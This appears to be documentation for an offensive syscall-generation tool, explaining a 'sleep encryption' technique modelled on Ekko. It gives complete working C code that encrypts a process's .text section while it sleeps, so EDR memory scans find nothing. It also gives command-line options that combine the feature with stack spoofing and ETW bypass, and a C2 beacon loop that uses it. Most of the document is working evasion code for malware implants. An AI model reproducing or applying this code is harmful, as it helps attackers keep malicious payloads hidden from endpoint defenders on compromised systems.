Overview
Sleep Encryption (inspired by Ekko by C5pider) is a memory obfuscation technique that encrypts your process’s .text section during sleep periods, making it invisible to memory scanners. When the sleep timer expires, memory is automatically decrypted before execution resumes.
Use case : Defeats periodic memory scans by AV/EDR that look for malicious signatures while your payload is idle.
The Problem: Memory Scanning
Periodic Memory Scanners
Modern EDRs periodically scan process memory for:
Known malware signatures (YARA rules)
Suspicious code patterns (syscall stubs, shellcode)
Unmapped executable pages (RWX regions)
Modified PE sections (integrity checks)
Typical scan interval : Every 5-30 seconds
Traditional Sleep is Vulnerable
// Your payload is idle but still in memory — fully scannable
Sleep ( 30000 ); // 30 seconds of exposure
// During this time:
// - .text section contains syscall stubs (detectable)
// - Strings are plaintext ("NtAllocateVirtualMemory")
// - Signatures match known tools (SysWhispers)
Long-running C2 beacons that sleep for minutes between callbacks are especially vulnerable — EDR has plenty of time to scan.
How Sleep Encryption Works
High-Level Flow
Step-by-Step Breakdown
Generate Random XOR Key
Use RDTSC (CPU timestamp counter) for entropy: DWORD64 key = __rdtsc (); // High-resolution counter
key ^= (key >> 32 ); // Mix upper/lower 32 bits
Why RDTSC?
No API call (no ntdll hook)
Non-deterministic (varies per execution)
Fast (single instruction)
Locate .text Section
Find the executable code section in our own PE: PVOID pBase = GetModuleHandleA ( NULL ); // Our PE base
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pBase;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)pBase + dos -> e_lfanew);
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION (nt);
for (DWORD i = 0 ; i < nt -> FileHeader.NumberOfSections; i ++ ) {
if ( strcmp (( char * ) sections [i]. Name , ".text" ) == 0 ) {
PVOID textAddr = (PBYTE)pBase + sections [i]. VirtualAddress ;
SIZE_T textSize = sections [i]. Misc . VirtualSize ;
// Found it!
}
}
Change Memory Protection to RW
.text is normally RX (read+execute). We need RW to modify: ULONG oldProtect;
SW4_NtProtectVirtualMemory (
GetCurrentProcess (),
& textAddr ,
& textSize ,
PAGE_READWRITE, // RX → RW
& oldProtect
);
XOR-Encrypt .text
Encrypt the entire executable section: PDWORD64 p = (PDWORD64)textAddr;
SIZE_T qwords = textSize / 8 ;
for (SIZE_T i = 0 ; i < qwords; i ++ ) {
p [i] ^= key; // XOR each 8-byte chunk
}
// Handle remaining bytes (textSize % 8)
PBYTE tail = (PBYTE) & p [qwords];
for (SIZE_T i = 0 ; i < (textSize % 8 ); i ++ ) {
tail [i] ^= ((PBYTE) & key)[i % 8 ];
}
Result : .text is now encrypted garbage. Signature scans will fail.
Create Waitable Timer
Set up a kernel timer to fire after the sleep duration: HANDLE hTimer = NULL ;
SW4_NtCreateTimer ( & hTimer , TIMER_ALL_ACCESS, NULL , SynchronizationTimer);
LARGE_INTEGER dueTime;
dueTime.QuadPart = - (LONGLONG)sleepMs * 10000 LL ; // Negative = relative time
// Queue APC to run when timer expires
SW4_NtSetTimer (
hTimer,
& dueTime ,
NULL , // No APC routine here — we'll queue it separately
NULL ,
FALSE ,
0 ,
NULL
);
Queue APC to Decrypt
Register an APC (Asynchronous Procedure Call) that will decrypt .text: typedef struct _DECRYPT_CONTEXT {
PVOID TextAddr;
SIZE_T TextSize;
DWORD64 Key;
ULONG OldProtect;
} DECRYPT_CONTEXT;
DECRYPT_CONTEXT * ctx = malloc ( sizeof (DECRYPT_CONTEXT));
ctx -> TextAddr = textAddr;
ctx -> TextSize = textSize;
ctx -> Key = key;
ctx -> OldProtect = oldProtect;
SW4_NtQueueApcThread (
GetCurrentThread (),
(PPS_APC_ROUTINE) SW4_DecryptApc ,
ctx, // APC argument 1
NULL , // APC argument 2
NULL // APC argument 3
);
Enter Alertable Sleep
Sleep in alertable state so the APC can fire: SW4_NtWaitForSingleObject (
hTimer,
TRUE , // Alertable — APCs will run
NULL // Infinite timeout
);
// When timer expires, APC runs automatically
APC Decrypts Memory
The queued APC callback decrypts .text: VOID NTAPI SW4_DecryptApc (
PVOID Arg1 , // DECRYPT_CONTEXT*
PVOID Arg2 ,
PVOID Arg3
) {
DECRYPT_CONTEXT * ctx = (DECRYPT_CONTEXT * )Arg1;
// XOR-decrypt (XOR is reversible: A ^ K ^ K = A)
PDWORD64 p = (PDWORD64) ctx -> TextAddr ;
SIZE_T qwords = ctx -> TextSize / 8 ;
for (SIZE_T i = 0 ; i < qwords; i ++ ) {
p [i] ^= ctx -> Key ;
}
// Restore original protection (RW → RX)
SIZE_T size = ctx -> TextSize ;
SW4_NtProtectVirtualMemory (
GetCurrentProcess (),
& ctx -> TextAddr ,
& size,
ctx -> OldProtect ,
& ctx -> OldProtect
);
free (ctx);
}
Execution Resumes
After APC completes, NtWaitForSingleObject returns and execution continues: // .text is now decrypted and executable again
SW4_NtClose (hTimer);
return ; // Back to normal execution
Implementation
Full C Code
// APC decrypt callback context
typedef struct _SW4_SLEEP_CONTEXT {
PVOID TextBase;
SIZE_T TextSize;
DWORD64 XorKey;
ULONG OriginalProtect;
} SW4_SLEEP_CONTEXT;
// APC routine that decrypts .text
VOID NTAPI SW4_DecryptApc (
PVOID Context ,
PVOID SystemArgument1 ,
PVOID SystemArgument2
) {
SW4_SLEEP_CONTEXT * ctx = (SW4_SLEEP_CONTEXT * )Context;
// XOR-decrypt
PDWORD64 p = (PDWORD64) ctx -> TextBase ;
SIZE_T qwords = ctx -> TextSize / 8 ;
for (SIZE_T i = 0 ; i < qwords; i ++ ) {
p [i] ^= ctx -> XorKey ;
}
// Handle tail bytes
PBYTE tail = (PBYTE) & p [qwords];
SIZE_T tailSize = ctx -> TextSize % 8 ;
for (SIZE_T i = 0 ; i < tailSize; i ++ ) {
tail [i] ^= ((PBYTE) & ctx -> XorKey )[i];
}
// Restore execute permission
PVOID base = ctx -> TextBase ;
SIZE_T size = ctx -> TextSize ;
ULONG tmp;
SW4_NtProtectVirtualMemory (
GetCurrentProcess (),
& base, & size,
ctx -> OriginalProtect ,
& tmp
);
free (ctx);
}
// Main sleep encryption function
VOID SW4_SleepEncrypt (DWORD milliseconds ) {
// 1. Generate XOR key
DWORD64 key = __rdtsc ();
key ^= (key >> 32 );
// 2. Locate .text section
PVOID pBase = GetModuleHandleA ( NULL );
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pBase;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)pBase + dos -> e_lfanew );
PVOID textBase = NULL ;
SIZE_T textSize = 0 ;
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION (nt);
for (DWORD i = 0 ; i < nt -> FileHeader . NumberOfSections ; i ++ ) {
if ( memcmp ( sections [i]. Name , ".text" , 5 ) == 0 ) {
textBase = (PBYTE)pBase + sections [i]. VirtualAddress ;
textSize = sections [i]. Misc . VirtualSize ;
break ;
}
}
if ( ! textBase) return ; // No .text section?
// 3. Change to RW
ULONG oldProtect;
PVOID base = textBase;
SIZE_T size = textSize;
SW4_NtProtectVirtualMemory (
GetCurrentProcess (),
& base, & size,
PAGE_READWRITE,
& oldProtect
);
// 4. XOR-encrypt
PDWORD64 p = (PDWORD64)textBase;
SIZE_T qwords = textSize / 8 ;
for (SIZE_T i = 0 ; i < qwords; i ++ ) {
p [i] ^= key;
}
PBYTE tail = (PBYTE) & p [qwords];
for (SIZE_T i = 0 ; i < (textSize % 8 ); i ++ ) {
tail [i] ^= ((PBYTE) & key)[i];
}
// 5. Create timer
HANDLE hTimer = NULL ;
SW4_NtCreateTimer ( & hTimer, TIMER_ALL_ACCESS, NULL , SynchronizationTimer);
LARGE_INTEGER dueTime;
dueTime . QuadPart = - (LONGLONG)milliseconds * 10000 LL ;
// 6. Set up APC context
SW4_SLEEP_CONTEXT * ctx = malloc ( sizeof (SW4_SLEEP_CONTEXT));
ctx -> TextBase = textBase;
ctx -> TextSize = textSize;
ctx -> XorKey = key;
ctx -> OriginalProtect = oldProtect;
// 7. Queue decrypt APC
SW4_NtQueueApcThread (
GetCurrentThread (),
(PPS_APC_ROUTINE)SW4_DecryptApc,
ctx, NULL , NULL
);
// 8. Set timer
SW4_NtSetTimer (hTimer, & dueTime, NULL , NULL , FALSE , 0 , NULL );
// 9. Sleep (alertable)
SW4_NtWaitForSingleObject (hTimer, TRUE , NULL );
// 10. Cleanup
SW4_NtClose (hTimer);
}
Usage
Enable Sleep Encryption
# Generate with sleep encryption support
python syswhispers.py --preset stealth --sleep-encrypt
# Combine with other evasion techniques
python syswhispers.py --preset stealth \
--resolve freshycalls \
--method randomized \
--sleep-encrypt \
--obfuscate \
--encrypt-ssn
In Your Code
#include "SW4Syscalls.h"
int main ( void ) {
SW4_Initialize ();
// Do initial work
PVOID buffer = NULL ;
SIZE_T size = 0x 1000 ;
SW4_NtAllocateVirtualMemory (
GetCurrentProcess (), & buffer, 0 , & size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
// Encrypt memory during long sleep
printf ( "[*] Sleeping for 30 seconds (memory encrypted)... \n " );
SW4_SleepEncrypt ( 30000 ); // .text encrypted during entire duration
printf ( "[+] Awake (memory decrypted) \n " );
// Continue execution
// ...
return 0 ;
}
C2 Beacon Example
while ( TRUE ) {
// Check in with C2 server
BOOL hasTask = C2_CheckIn ();
if (hasTask) {
// Execute task
ExecuteTask ();
}
// Sleep until next beacon (encrypted)
DWORD jitter = ( rand () % 10000 ) + 5000 ; // 5-15 seconds
SW4_SleepEncrypt (jitter);
}
Advantages
Defeats Signature Scans Encrypted .text doesn’t match YARA rules or known patterns
Automatic Decryption Timer + APC ensures execution resumes correctly without manual intervention
No External Keys XOR key is generated on-the-fly via RDTSC — nothing stored on disk
Transparent Drop-in replacement for Sleep() — no code changes needed
Limitations
1. Short Sleep Periods
If sleep duration < EDR scan interval, encryption provides minimal benefit:
SW4_SleepEncrypt ( 100 ); // 100ms — EDR unlikely to scan during this window
Recommendation : Use only for sleeps ≥1 second.
2. Memory Writes During Encryption
If .text is modified while encrypted (impossible since we’re sleeping, but theoretically):
Corruption on decrypt
Access violations
Protection : We’re sleeping — no code execution occurs.
3. Thread Suspension
If EDR suspends our thread and scans memory:
.text is encrypted → scan fails ✅
But EDR sees non-executable .text section (suspicious)
Encryption/decryption cost:
.text Size Encrypt Time Decrypt Time 10 KB <1 ms <1 ms 100 KB ~2 ms ~2 ms 1 MB ~15 ms ~15 ms
Impact : Negligible for typical payloads (10-100 KB).
Detection Vectors
What EDRs Can See
NtProtectVirtualMemory (RX → RW → RX) : Suspicious permission changes
NtQueueApcThread : Self-queuing APCs are uncommon
Memory scanning during sleep : .text is encrypted (good!)
Timer objects : NtCreateTimer + alertable wait pattern
Telemetry Example
EDR Log:
[12:34:56] Process: malware.exe (PID 1234)
[12:34:56] NtProtectVirtualMemory: 0x400000 → PAGE_READWRITE
[12:34:56] NtQueueApcThread: Target=Self, Routine=0x401234
[12:34:56] NtWaitForSingleObject: Alertable=TRUE
[12:34:56] Memory Scan: .text section = [encrypted gibberish]
[12:35:26] NtProtectVirtualMemory: 0x400000 → PAGE_EXECUTE_READ
Analysis : Pattern is distinctive but memory scan fails.
Mitigation Strategies
Combine with other evasion
Stack spoofing + ETW bypass reduce telemetry: python syswhispers.py --sleep-encrypt --stack-spoof --etw-bypass
Vary sleep durations
Random jitter makes pattern less predictable: DWORD sleep = ( rand () % 10000 ) + 5000 ; // 5-15 seconds
SW4_SleepEncrypt (sleep);
Don't over-use
Reserve for long sleeps (>5 seconds). Short delays use regular Sleep(): if (sleepTime > 5000 ) {
SW4_SleepEncrypt (sleepTime);
} else {
Sleep (sleepTime);
}
Comparison with Alternatives
Technique .text Encrypted Auto-Decrypt Performance Complexity Ekko/Sleep Encryption ✅ ✅ Medium (~4ms overhead) Medium Manual Encrypt/Decrypt ✅ ❌ Low Low Code Cave Hiding ❌ N/A Low High Memory Stomping ✅ Manual Low High Process Hollowing ✅ Manual High Very High
Further Reading
Ekko Original Research C5pider’s original Ekko sleep obfuscation
Anti-Debug Checks Combine with anti-debugging for layered defense
Stack Spoofing Hide call stack during execution
Alertable I/O Microsoft docs on APCs